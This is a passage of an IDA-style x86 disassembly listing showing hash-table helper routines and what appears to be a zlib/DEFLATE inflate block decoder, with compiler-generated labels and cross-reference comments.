		push	edi
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_C]
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_8]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_4], eax

loc_49C9DA:				; CODE XREF: sub_49C9B1+52j
		cmp	[ebp+var_4], 0
		jz	short loc_49CA05
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	[ebp+arg_8]
		test	eax, eax
		jnz	short loc_49C9FA
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		jmp	short loc_49CA62
; ---------------------------------------------------------------------------

loc_49C9FA:				; CODE XREF: sub_49C9B1+3Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_49C9DA
; ---------------------------------------------------------------------------

loc_49CA05:				; CODE XREF: sub_49C9B1+2Dj
		push	0Ch
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_49CA26
		xor	eax, eax
		mov	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax
		jmp	short loc_49CA2A
; ---------------------------------------------------------------------------

loc_49CA26:				; CODE XREF: sub_49C9B1+63j
		and	[ebp+var_14], 0

loc_49CA2A:				; CODE XREF: sub_49C9B1+73j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	eax, [eax+edx*4]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[eax+ecx*4], edx

loc_49CA62:				; CODE XREF: sub_49C9B1+47j
		pop	edi
		leave
		retn	10h
sub_49C9B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CA67	proc near		; CODE XREF: sub_4956D0+6Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+0Ch], 0
		leave
		retn
sub_49CA67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CA7E	proc near		; CODE XREF: sub_4956D0+82p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx

loc_49CA85:				; CODE XREF: sub_49CA7E+5Dj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jb	short loc_49CA96
		xor	al, al
		jmp	short locret_49CAFA
; ---------------------------------------------------------------------------

loc_49CA96:				; CODE XREF: sub_49CA7E+12j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_49CAB6
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx+eax*4]
		mov	[edx+0Ch], eax
		jmp	short loc_49CAC5
; ---------------------------------------------------------------------------

loc_49CAB6:				; CODE XREF: sub_49CA7E+1Fj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ecx+0Ch], eax

loc_49CAC5:				; CODE XREF: sub_49CA7E+36j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_49CADD
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		jmp	short loc_49CA85
; ---------------------------------------------------------------------------

loc_49CADD:				; CODE XREF: sub_49CA7E+4Ej
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax]
		mov	[ecx], eax
		mov	al, 1

locret_49CAFA:				; CODE XREF: sub_49CA7E+16j
		leave
		retn	8
sub_49CA7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CAFE	proc near		; DATA XREF: sub_49C871+7o
					; sub_49C8E0+7o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	eax, edx
		pop	ebp
		retn
sub_49CAFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CB0D	proc near		; DATA XREF: sub_4968CF+Co
					; sub_496BD7+1EDo ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_49CB47
		jmp	short loc_49CB2B
; ---------------------------------------------------------------------------

loc_49CB24:				; CODE XREF: sub_49CB0D+38j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_49CB2B:				; CODE XREF: sub_49CB0D+15j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_49CB47
		mov	eax, [ebp+var_8]
		shl	eax, 1
		mov	ecx, [ebp+var_4]
		movzx	ecx, byte ptr [ecx]
		or	eax, ecx
		mov	[ebp+var_8], eax
		jmp	short loc_49CB24
; ---------------------------------------------------------------------------

loc_49CB47:				; CODE XREF: sub_49CB0D+13j
					; sub_49CB0D+26j
		mov	eax, [ebp+var_8]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	eax, edx
		leave
		retn
sub_49CB0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CB53	proc near		; CODE XREF: sub_49CBBF+7Dp
					; sub_49D5B0+Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	eax, ebx
		push	edi
		jz	short loc_49CB6A
		mov	ecx, [esi+3Ch]
		mov	[eax], ecx

loc_49CB6A:				; CODE XREF: sub_49CB53+10j
		mov	eax, [esi]
		mov	edi, [ebp+arg_4]
		cmp	eax, 4
		jz	short loc_49CB79
		cmp	eax, 5
		jnz	short loc_49CB84

loc_49CB79:				; CODE XREF: sub_49CB53+1Fj
		push	dword ptr [esi+0Ch]
		push	dword ptr [edi+28h]
		call	dword ptr [edi+24h]
		pop	ecx
		pop	ecx

loc_49CB84:				; CODE XREF: sub_49CB53+24j
		cmp	dword ptr [esi], 6
		jnz	short loc_49CB94
		push	edi
		push	dword ptr [esi+4]
		call	sub_49DBD8
		pop	ecx
		pop	ecx

loc_49CB94:				; CODE XREF: sub_49CB53+34j
		mov	eax, [esi+28h]
		mov	[esi], ebx
		mov	[esi+34h], eax
		mov	[esi+30h], eax
		mov	eax, [esi+38h]
		mov	[esi+1Ch], ebx
		cmp	eax, ebx
		mov	[esi+20h], ebx
		jz	short loc_49CBBA
		push	ebx
		push	ebx
		push	ebx
		call	eax
		mov	[esi+3Ch], eax
		add	esp, 0Ch
		mov	[edi+30h], eax

loc_49CBBA:				; CODE XREF: sub_49CB53+57j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_49CB53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CBBF	proc near		; CODE XREF: sub_49DF41+AFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	40h
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_49CC26
		push	5A0h
		push	8
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[edi+24h], eax
		test	eax, eax
		jnz	short loc_49CBFD
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx
		jmp	short loc_49CC26
; ---------------------------------------------------------------------------

loc_49CBFD:				; CODE XREF: sub_49CBBF+31j
		mov	ebx, [ebp+arg_8]
		push	ebx
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[edi+28h], eax
		test	eax, eax
		jnz	short loc_49CC2A
		push	dword ptr [edi+24h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		add	esp, 10h

loc_49CC26:				; CODE XREF: sub_49CBBF+1Aj
					; sub_49CBBF+3Cj
		xor	eax, eax
		jmp	short loc_49CC46
; ---------------------------------------------------------------------------

loc_49CC2A:				; CODE XREF: sub_49CBBF+52j
		and	dword ptr [edi], 0
		add	eax, ebx
		mov	[edi+2Ch], eax
		mov	eax, [ebp+arg_4]
		push	0
		push	esi
		push	edi
		mov	[edi+38h], eax
		call	sub_49CB53
		add	esp, 0Ch
		mov	eax, edi

loc_49CC46:				; CODE XREF: sub_49CBBF+69j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_49CBBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CC4B	proc near		; CODE XREF: sub_49E043+11Bp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+20h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+1Ch]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+34h]
		mov	[ebp+var_4], eax
		mov	eax, [ebx+30h]
		cmp	ecx, eax
		push	edi
		mov	[ebp+var_C], ecx
		jnb	short loc_49CC83
		sub	eax, ecx
		dec	eax
		jmp	short loc_49CC88
; ---------------------------------------------------------------------------

loc_49CC83:				; CODE XREF: sub_49CC4B+31j
		mov	eax, [ebx+2Ch]
		sub	eax, ecx

loc_49CC88:				; CODE XREF: sub_49CC4B+36j
		mov	[ebp+var_14], eax

loc_49CC8B:				; CODE XREF: sub_49CC4B+ADj
					; sub_49CC4B+10Bj ...
		mov	eax, [ebx]
		cmp	eax, 9		; switch 10 cases
		ja	loc_49D550	; default
		jmp	ds:off_49D588[eax*4] ; switch jump

loc_49CC9D:				; DATA XREF: _4:off_49D588o
		mov	edi, [ebp+var_4] ; jumptable 0049CC96 case 0
		mov	esi, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		cmp	edi, 3
		jnb	short loc_49CCD7

loc_49CCAB:				; CODE XREF: sub_49CC4B+8Aj
		cmp	[ebp+var_8], 0
		jz	loc_49D28C
		movzx	eax, byte ptr [edx]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		mov	ecx, edi
		add	edi, 8
		shl	eax, cl
		mov	[ebp+var_4], edi
		or	esi, eax
		inc	edx
		cmp	edi, 3
		mov	[ebp+arg_0], esi
		mov	[ebp+var_10], edx
		jb	short loc_49CCAB

loc_49CCD7:				; CODE XREF: sub_49CC4B+5Ej
		mov	eax, esi
		and	eax, 7
		mov	ecx, eax
		shr	eax, 1
		and	ecx, 1
		sub	eax, 0
		mov	[ebx+18h], ecx
		jz	short loc_49CD5B
		dec	eax
		jz	short loc_49CD0D
		dec	eax
		jz	short loc_49CCFA
		dec	eax
		jz	loc_49D2A7
		jmp	short loc_49CC8B
; ---------------------------------------------------------------------------

loc_49CCFA:				; CODE XREF: sub_49CC4B+A4j
		push	3
		pop	eax
		shr	esi, 3
		sub	edi, eax
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], edi
		jmp	loc_49CDE7
; ---------------------------------------------------------------------------

loc_49CD0D:				; CODE XREF: sub_49CC4B+A1j
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_49E8AF
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_20]
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_49D5E6
		add	esp, 28h
		mov	[ebx+4], eax
		test	eax, eax
		jz	loc_49D2D7
		shr	esi, 3
		sub	[ebp+var_4], 3
		mov	[ebp+arg_0], esi
		mov	dword ptr [ebx], 6
		jmp	loc_49CC8B
; ---------------------------------------------------------------------------

loc_49CD5B:				; CODE XREF: sub_49CC4B+9Ej
		sub	edi, 3
		mov	dword ptr [ebx], 1
		mov	ecx, edi
		and	ecx, 7
		shr	esi, 3
		shr	esi, cl
		sub	edi, ecx
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], esi
		jmp	loc_49CC8B
; ---------------------------------------------------------------------------

loc_49CD7B:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	ecx, [ebp+var_4] ; jumptable 0049CC96 case 1
		mov	esi, [ebp+arg_0]
		cmp	ecx, 20h
		jnb	short loc_49CDAF
		mov	edx, [ebp+var_10]
		xor	edi, edi

loc_49CD8B:				; CODE XREF: sub_49CC4B+160j
		cmp	[ebp+var_8], edi
		jz	loc_49D300
		movzx	eax, byte ptr [edx]
		dec	[ebp+var_8]
		mov	[ebp+arg_8], edi
		shl	eax, cl
		add	ecx, 8
		or	esi, eax
		inc	edx
		cmp	ecx, 20h
		mov	[ebp+var_10], edx
		jb	short loc_49CD8B
		jmp	short loc_49CDB2
; ---------------------------------------------------------------------------

loc_49CDAF:				; CODE XREF: sub_49CC4B+139j
		mov	edx, [ebp+var_10]

loc_49CDB2:				; CODE XREF: sub_49CC4B+162j
		mov	edi, esi
		mov	eax, esi
		not	edi
		and	eax, 0FFFFh
		shr	edi, 10h
		xor	edi, eax
		jnz	loc_49D30E
		mov	[ebx+4], eax
		xor	eax, eax
		cmp	[ebx+4], eax
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], eax
		jz	short loc_49CDDD
		push	2
		pop	eax
		jmp	short loc_49CDE7
; ---------------------------------------------------------------------------

loc_49CDDD:				; CODE XREF: sub_49CC4B+18Bj
					; sub_49CC4B+288j
		mov	eax, [ebx+18h]
		neg	eax
		sbb	eax, eax
		and	eax, 7

loc_49CDE7:				; CODE XREF: sub_49CC4B+BDj
					; sub_49CC4B+190j
		mov	[ebx], eax
		jmp	loc_49CC8B
; ---------------------------------------------------------------------------

loc_49CDEE:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		cmp	[ebp+var_8], 0	; jumptable 0049CC96 case 2
		jz	loc_49D326
		mov	ecx, [ebp+var_14]
		test	ecx, ecx
		jnz	loc_49CE93
		mov	ecx, [ebx+2Ch]
		mov	edx, [ebp+var_C]
		cmp	edx, ecx
		jnz	short loc_49CE30
		mov	eax, [ebx+30h]
		mov	esi, [ebx+28h]
		cmp	eax, esi
		jz	short loc_49CE30
		mov	edx, esi
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_49CE27
		sub	eax, edx
		dec	eax
		mov	ecx, eax
		jmp	short loc_49CE29
; ---------------------------------------------------------------------------

loc_49CE27:				; CODE XREF: sub_49CC4B+1D3j
		sub	ecx, edx

loc_49CE29:				; CODE XREF: sub_49CC4B+1DAj
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_49CE93

loc_49CE30:				; CODE XREF: sub_49CC4B+1C0j
					; sub_49CC4B+1CAj
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	[ebx+34h], edx
		push	esi
		push	ebx
		call	sub_49E8DE
		mov	edx, [ebx+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [ebx+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_49CE5A
		mov	ecx, eax
		sub	ecx, edx
		dec	ecx
		jmp	short loc_49CE5F
; ---------------------------------------------------------------------------

loc_49CE5A:				; CODE XREF: sub_49CC4B+206j
		mov	ecx, [ebx+2Ch]
		sub	ecx, edx

loc_49CE5F:				; CODE XREF: sub_49CC4B+20Dj
		mov	edi, [ebx+2Ch]
		mov	[ebp+var_14], ecx
		cmp	edx, edi
		mov	[ebp+var_18], edi
		jnz	short loc_49CE8B
		mov	edi, [ebx+28h]
		cmp	eax, edi
		jz	short loc_49CE8B
		mov	edx, edi
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_49CE83
		sub	eax, edx
		dec	eax
		mov	ecx, eax
		jmp	short loc_49CE88
; ---------------------------------------------------------------------------

loc_49CE83:				; CODE XREF: sub_49CC4B+22Fj
		mov	ecx, [ebp+var_18]
		sub	ecx, edx

loc_49CE88:				; CODE XREF: sub_49CC4B+236j
		mov	[ebp+var_14], ecx

loc_49CE8B:				; CODE XREF: sub_49CC4B+21Fj
					; sub_49CC4B+226j
		test	ecx, ecx
		jz	loc_49D347

loc_49CE93:				; CODE XREF: sub_49CC4B+1B2j
					; sub_49CC4B+1E3j
		mov	eax, [ebx+4]
		and	[ebp+arg_8], 0
		cmp	eax, [ebp+var_8]
		jbe	short loc_49CEA2
		mov	eax, [ebp+var_8]

loc_49CEA2:				; CODE XREF: sub_49CC4B+252j
		cmp	eax, ecx
		jbe	short loc_49CEA8
		mov	eax, ecx

loc_49CEA8:				; CODE XREF: sub_49CC4B+259j
		mov	esi, [ebp+var_10]
		mov	edi, [ebp+var_C]
		mov	ecx, eax
		add	[ebp+var_10], eax
		mov	edx, ecx
		sub	[ebp+var_8], eax
		shr	ecx, 2
		rep movsd
		add	[ebp+var_C], eax
		sub	[ebp+var_14], eax
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		sub	[ebx+4], eax
		jnz	loc_49CC8B
		jmp	loc_49CDDD
; ---------------------------------------------------------------------------

loc_49CED8:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	ecx, [ebp+var_4] ; jumptable 0049CC96 case 3
		mov	edi, [ebp+var_10]
		cmp	ecx, 0Eh
		jnb	short loc_49CF08

loc_49CEE3:				; CODE XREF: sub_49CC4B+2BBj
		cmp	[ebp+var_8], 0
		jz	loc_49D370
		movzx	eax, byte ptr [edi]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	eax, cl
		add	ecx, 8
		mov	[ebp+var_4], ecx
		or	[ebp+arg_0], eax
		inc	edi
		cmp	ecx, 0Eh
		jb	short loc_49CEE3

loc_49CF08:				; CODE XREF: sub_49CC4B+296j
		mov	eax, [ebp+arg_0]
		and	eax, 3FFFh
		mov	ecx, eax
		mov	[ebx+4], eax
		and	ecx, 1Fh
		cmp	ecx, 1Dh
		ja	loc_49D3C2
		mov	edx, eax
		and	edx, 3E0h
		cmp	edx, 3A0h
		ja	loc_49D3C2
		mov	esi, [ebp+arg_4]
		push	4
		shr	eax, 5
		and	eax, 1Fh
		lea	eax, [eax+ecx+102h]
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebx+0Ch], eax
		test	eax, eax
		jz	loc_49D39A
		shr	[ebp+arg_0], 0Eh
		sub	[ebp+var_4], 0Eh
		and	dword ptr [ebx+8], 0
		mov	dword ptr [ebx], 4
		jmp	short loc_49CF76
; ---------------------------------------------------------------------------

loc_49CF70:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	edi, [ebp+var_10] ; jumptable 0049CC96 case 4
		mov	esi, [ebp+arg_4]

loc_49CF76:				; CODE XREF: sub_49CC4B+323j
		mov	eax, [ebx+4]
		shr	eax, 0Ah
		add	eax, 4
		cmp	[ebx+8], eax
		jnb	short loc_49CFDF

loc_49CF84:				; CODE XREF: sub_49CC4B+392j
		mov	ecx, [ebp+var_4]

loc_49CF87:				; CODE XREF: sub_49CC4B+361j
		cmp	ecx, 3
		jnb	short loc_49CFAE
		cmp	[ebp+var_8], 0
		jz	loc_49D432
		movzx	eax, byte ptr [edi]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	eax, cl
		or	[ebp+arg_0], eax
		inc	edi
		add	ecx, 8
		mov	[ebp+var_4], ecx
		jmp	short loc_49CF87
; ---------------------------------------------------------------------------

loc_49CFAE:				; CODE XREF: sub_49CC4B+33Fj
		mov	ecx, [ebx+8]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebx+0Ch]
		and	eax, 7
		mov	ecx, ds:dword_49F060[ecx*4]
		sub	[ebp+var_4], 3
		shr	[ebp+arg_0], 3
		mov	[edx+ecx*4], eax
		mov	ecx, [ebx+4]
		inc	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		shr	ecx, 0Ah
		add	ecx, 4
		cmp	eax, ecx
		jb	short loc_49CF84

loc_49CFDF:				; CODE XREF: sub_49CC4B+337j
					; sub_49CC4B+3AEj
		cmp	dword ptr [ebx+8], 13h
		jnb	short loc_49CFFB
		mov	eax, [ebx+8]
		mov	ecx, [ebx+0Ch]
		mov	eax, ds:dword_49F060[eax*4]
		and	dword ptr [ecx+eax*4], 0
		inc	dword ptr [ebx+8]
		jmp	short loc_49CFDF
; ---------------------------------------------------------------------------

loc_49CFFB:				; CODE XREF: sub_49CC4B+398j
		push	esi
		lea	ecx, [ebx+14h]
		push	dword ptr [ebx+24h]
		lea	eax, [ebx+10h]
		push	ecx
		push	eax
		push	dword ptr [ebx+0Ch]
		mov	dword ptr [eax], 7
		call	sub_49E3A6
		add	esp, 14h
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	loc_49D3F2
		and	[ebx+8], eax
		mov	dword ptr [ebx], 5
		jmp	short loc_49D034
; ---------------------------------------------------------------------------

loc_49D02E:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	edi, [ebp+var_10] ; jumptable 0049CC96 case 5
		mov	esi, [ebp+arg_4]

loc_49D034:				; CODE XREF: sub_49CC4B+3E1j
					; sub_49CC4B+46Bj ...
		mov	eax, [ebx+4]
		mov	ecx, [ebx+8]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		cmp	ecx, eax
		jnb	loc_49D178
		mov	eax, [ebx+10h]

loc_49D057:				; CODE XREF: sub_49CC4B+432j
		cmp	[ebp+var_4], eax
		jnb	short loc_49D07F
		cmp	[ebp+var_8], 0
		jz	loc_49D432
		movzx	edx, byte ptr [edi]
		mov	ecx, [ebp+var_4]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	edx, cl
		or	[ebp+arg_0], edx
		inc	edi
		add	[ebp+var_4], 8
		jmp	short loc_49D057
; ---------------------------------------------------------------------------

loc_49D07F:				; CODE XREF: sub_49CC4B+40Fj
		mov	eax, ds:dword_4A1318[eax*4]
		mov	ecx, [ebx+14h]
		and	eax, [ebp+arg_0]
		mov	edx, [ecx+eax*8+4]
		lea	eax, [ecx+eax*8]
		cmp	edx, 10h
		mov	[ebp+var_18], edx
		movzx	ecx, byte ptr [eax+1]
		mov	[ebp+var_14], ecx
		jnb	short loc_49D0BB
		shr	[ebp+arg_0], cl
		mov	eax, ecx
		mov	ecx, [ebx+0Ch]
		sub	[ebp+var_4], eax
		mov	eax, [ebx+8]
		mov	[ecx+eax*4], edx
		inc	dword ptr [ebx+8]
		jmp	loc_49D034
; ---------------------------------------------------------------------------

loc_49D0BB:				; CODE XREF: sub_49CC4B+455j
		cmp	edx, 12h
		jnz	short loc_49D0C5
		push	7
		pop	eax
		jmp	short loc_49D0C8
; ---------------------------------------------------------------------------

loc_49D0C5:				; CODE XREF: sub_49CC4B+473j
		lea	eax, [edx-0Eh]

loc_49D0C8:				; CODE XREF: sub_49CC4B+478j
		xor	ecx, ecx
		cmp	edx, 12h
		setnz	cl
		dec	ecx
		and	ecx, 8
		add	ecx, 3
		mov	[ebp+var_10], ecx

loc_49D0DA:				; CODE XREF: sub_49CC4B+4BBj
		mov	ecx, [ebp+var_14]
		lea	edx, [eax+ecx]
		cmp	[ebp+var_4], edx
		jnb	short loc_49D108
		cmp	[ebp+var_8], 0
		jz	loc_49D432
		movzx	edx, byte ptr [edi]
		mov	ecx, [ebp+var_4]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	edx, cl
		or	[ebp+arg_0], edx
		inc	edi
		add	[ebp+var_4], 8
		jmp	short loc_49D0DA
; ---------------------------------------------------------------------------

loc_49D108:				; CODE XREF: sub_49CC4B+498j
		shr	[ebp+arg_0], cl
		mov	ecx, ds:dword_4A1318[eax*4]
		and	ecx, [ebp+arg_0]
		add	[ebp+var_10], ecx
		mov	ecx, eax
		shr	[ebp+arg_0], cl
		mov	ecx, [ebp+var_14]
		add	eax, ecx
		mov	ecx, [ebx+8]
		sub	[ebp+var_4], eax
		mov	eax, [ebx+4]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		cmp	edx, eax
		ja	loc_49D456
		cmp	[ebp+var_18], 10h
		jnz	short loc_49D162
		cmp	ecx, 1
		jb	loc_49D456
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+ecx*4-4]
		jmp	short loc_49D164
; ---------------------------------------------------------------------------

loc_49D162:				; CODE XREF: sub_49CC4B+503j
		xor	eax, eax

loc_49D164:				; CODE XREF: sub_49CC4B+515j
					; sub_49CC4B+523j
		mov	edx, [ebx+0Ch]
		mov	[edx+ecx*4], eax
		inc	ecx
		dec	[ebp+var_10]
		jnz	short loc_49D164
		mov	[ebx+8], ecx
		jmp	loc_49D034
; ---------------------------------------------------------------------------

loc_49D178:				; CODE XREF: sub_49CC4B+403j
		push	esi
		lea	ecx, [ebp+var_2C]
		push	dword ptr [ebx+24h]
		mov	eax, [ebx+4]
		and	dword ptr [ebx+14h], 0
		mov	[ebp+var_18], 9
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		mov	ecx, eax
		push	dword ptr [ebx+0Ch]
		and	eax, 1Fh
		shr	ecx, 5
		and	ecx, 1Fh
		add	eax, 101h
		inc	ecx
		mov	[ebp+var_10], 6
		push	ecx
		push	eax
		call	sub_49E7AC
		add	esp, 24h
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	loc_49D49E
		push	esi
		push	[ebp+var_2C]
		push	[ebp+var_30]
		push	[ebp+var_10]
		push	[ebp+var_18]
		call	sub_49D5E6
		add	esp, 14h
		test	eax, eax
		jz	loc_49D39A
		push	dword ptr [ebx+0Ch]
		mov	[ebx+4], eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	dword ptr [ebx], 6
		pop	ecx
		jmp	short loc_49D203
; ---------------------------------------------------------------------------

loc_49D1FD:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	edi, [ebp+var_10] ; jumptable 0049CC96 case 6
		mov	esi, [ebp+arg_4]

loc_49D203:				; CODE XREF: sub_49CC4B+5B0j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		push	esi
		mov	[esi], edi
		push	ebx
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		call	sub_49D61A
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_49D4EE
		and	[ebp+arg_8], 0
		push	esi
		push	dword ptr [ebx+4]
		call	sub_49DBD8
		mov	eax, [esi+4]
		mov	edi, [esi]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+20h]
		pop	ecx
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+1Ch]
		pop	ecx
		mov	ecx, [ebx+34h]
